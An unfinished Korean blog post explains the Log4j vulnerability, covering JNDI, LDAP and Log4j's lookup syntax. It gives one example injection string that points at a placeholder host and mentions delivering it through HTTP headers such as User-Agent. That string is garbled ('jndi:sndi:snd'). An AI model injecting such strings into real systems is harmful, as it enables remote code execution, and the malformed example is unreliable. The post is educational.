[Log4j 취약점]
Log4j란
- JAVA/Kotlin/Scala/Groovy/Clojure 코딩 도중에 프로그램의 로그를 기록해주는 라이브러리로, 이클립스, IntelliJ IDEA, 안드로이드 스튜디오 등에 추가해서 프로그램 실행 시 자동으로 지정한 경로에 로그를 저장해주는 기능을 합니다.
<Log4j 취약점 동작 원리>
- 우선 이 취약점은 JNDI와 LDAP를 이용한 취약점입니다.
JNDI는 Java Naming and Directory Interface의 약자로 1990년대 후반부터 Java에 추가된 인터페이스이다. Java 프로그램이 디렉토리를 통해 데이터(Java 객체 형태)를 찾을 수 있도록 하는 디렉토리 서비스입니다.
JNDI는 이러한 디렉토리 서비스를 위해 다양한 인터페이스가 존재하는데 그 중 하나가 LDAP이다. 이 LDAP가 이번 취약점에 가장 중요한 포인트이다.
LDAP가 무엇인가
- Lightweight Directory Access Protocol의 약자로, 네트워크 상에서 조직 및 개인정보 혹은 파일 및 디바이스 정보 등을 쉽게 조회할 수 있도록 만든 소프트웨어 프로토콜
=> JNDI를 외부에서 호출할 수 있는 프로토콜
이런 접근 인터페이스가 이번 사태에 치명적이게 된 이유는 바로 Log4j에 편리하게 사용하기 위해 ${prefix:name} 형식으로 Java 객체를 볼 수 있게 하는 문법이 존재하기 때문이다.
예를 들어 ${prefix:version}은 현재 실행 중인 JAVA의 버전을 알 수 있다.
이런 문법은 로그가 기록도리 때도 사용이 가능했고, 결국 해커가 기록되는 곳을 찾아 ${jndi:sndi:snd://example.com/a}과 같은 값을 추가하기만 하면 취약점을 이용할 수 있는 것이다. 이 값을 넣는 방법은 User-Agent와 같은 일반적인 HTTP 헤더일 수도 있고 여러가지 방법이 있다.
..............내용 작성 중
해당 취약점은 공부를 더 하고 작성할 예정 ㅜ
'보안 > 침해사고 분석' 카테고리의 다른 글
Directory Traversal Attack (CVE 2021-42013, CVE 2021-41773) (0) | 2022.05.27 |
---|---|
PHPUnit eval-stdin.php RCE 취약점 (CVE-2017-9841) (0) | 2022.05.26 |